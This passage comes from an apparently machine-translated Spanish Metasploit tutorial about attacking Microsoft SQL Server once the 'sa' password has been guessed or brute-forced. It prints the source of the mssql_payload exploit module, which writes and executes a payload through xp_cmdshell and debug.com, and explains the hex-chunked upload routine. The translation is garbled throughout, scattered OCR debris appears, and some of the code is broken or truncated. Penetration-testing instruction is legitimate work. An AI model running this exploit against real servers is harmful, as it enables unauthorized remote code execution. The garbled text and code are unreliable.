Server 2000, 2005, o 2008, si se especifica la autenticación mixta o la
autenticación basada en SQL, tienen que especificar una contraseña para la
tristemente célebre "sa" cuenta. La cuenta "sa" es la cuenta de administrador de
sistemas de servidores basados en SQL y tiene un montón de permisos en el
propio sistema. Si de alguna forma puede adivinar la contraseña de "sa", ac
continuación, puede atacar a través de vectores de influencia Metasploit para
realizar ataques adicionales. Si usted habló de algunos de los capítulos anteriores,
hemos visto cómo a los servidores SQL descubrimiento a través del puerto UDP
1434, así como realizar ataques de diccionario bruta basada en la fuerza contra
las direcciones IP con el fin de adivinar el SQL "sa" cuenta.
____________
< metasploit ------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
C:\WINDOWS\system32>
c
[[ c
c0
c c
-
c
Vamos a buscar a tres archivos diferentes, deberían estar relativamente
familiarizados con las secciones anteriores.
framework3/lib/msf/core/exploit/mssql_commands.rb
framework3/lib/msf/core/exploit/mssql.rb
framework3/modules/exploits/windows/mssql/mssql_payload.rb
##
# $Id: mssql_payload.rb 7236 2009-10-23 19:15:32Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution',
'Description' => %q{
This module will execute an arbitrary payload on a Microsoft SQL
Server, using the Windows debug.com method for writing an executable to
disk
and the xp_cmdshell stored procedure. File size restrictions are avoided
by
incorporating the debug bypass method presented at Defcon 17 by
SecureState.
Note that this module will leave a metasploit payload in the Windows
System32 directory which must be manually deleted once the attack is
completed.
},
'Author' => [ 'David Kennedy "ReL1K"
'License' => MSF_LICENSE,
'Version' => '$Revision: 7236 $',
'References' =>
[
[ 'OSVDB', '557'],
[ 'CVE', '2000-0402'],
[ 'BID', '1281'],
[ 'URL',
'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
end
def exploit
if(not mssql_login_datastore)
print_status("Invalid SQL Server credentials")
return
end
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded),
debug)
handler
disconnect
end
Si bien esto puede parecer muy simple y no un montón de código, en realidad hay
un montón de cosas que están sucediendo detrás de las escenas que vamos a
investigar más adelante. Vamos a romper este archivo, por ahora. Si nos fijamos
en la mitad superior, todo lo que debería ser relativamente el mismo derecho? Si
nos fijamos en la sección de referencias, esta zona es simplemente para obtener
información adicional sobre el ataque o explotar el vector original. La plataforma
de "ganar" está especificando las plataformas de Windows y los objetivos no es
más que una sección si queremos sumar sistemas operativos o en este ejemplo, si
tenemos que hacer algo diferente con sede fuera de servidor de SQL podríamos
añadir SQL 2000, SQL 2005, y SQL Server 2008. El DefaultTarget nos permite
especificar un valor predeterminado para este ataque, así que si usamos SQL
Server 2000,c SQL 2005 y SQL 2008, podríamos tener por defecto a 2005, las
personas podían cambiar través de la SET TARGET 1 2 3, pero si no 2005 sería el
sistema atacado.
Ahora que hemos caminado por esta parte, vamos a romper la siguiente sección
en la mssql.rb para saber exactamente lo que este ataque estaba haciendo.
[ c1c%
c) cc
Veamos en el framework3/lib/msf/core/exploits / y usar su editor favorito y edite el
archivo mssql.rb. Haga una búsqueda para "mssql_upload_exec" (control de nano-
w y / a vi). Usted debe estar viendo lo siguiente:
#
# Upload and execute a Windows binary through MSSQL queries
#
def mssql_upload_exec(exe, debug=false)
hex = exe.unpack("H*")[0]
var_bypass = rand_text_alpha(8)
var_payload = rand_text_alpha(8)
El hexagonal exe.unpack = ("* H") [0] es un Ruby Kung-Fuey que lleva a nuestros
ejecutable generado y mágicamente se convierte en hexadecimal para nosotros.
Los pasos próximos convertir nuestro archivo a H2B un binario para nosotros
utilizando Windows de depuración, estamos utilizando el directorio% TEMP% para
más fiabilidad. El procedimiento de mssql_xpcmdshell strored está permitiendo
que esto ocurra.
La idx = 0 servidor como un contador para nosotros para hacernos saber cuando
el tamaño del archivo se ha alcanzado, y la cnt = 500 especifica el número de
caracteres que estamos enviando a la vez. La siguiente línea envía nuestra carga
útil con un nuevo archivo de 500 caracteres a la vez, el aumento de la idx
mostrador y garantizar que idx sigue siendo menor que la burbuja hex.length. Una
vez que se ha terminado de los últimos pasos convertir nuestra carga metasploit
de nuevo a un ejecutable con nuestra carga previamente realizaron a
continuación, lo ejecuta nos da nuestra capacidad de carga!
Espero que no te suelto en esto. Antes de terminar este capítulo eche un vistazo
en lib / MSF / base de explotar / y editar el mssql_commands.rb, aquí podrás ver
una lista detallada de los comandos que me MSSQL y Dark operador han estado
construyendo por un tiempo ahora. Adicionalmente puede empezar a crear sus
propios módulos fuera de este si quieres!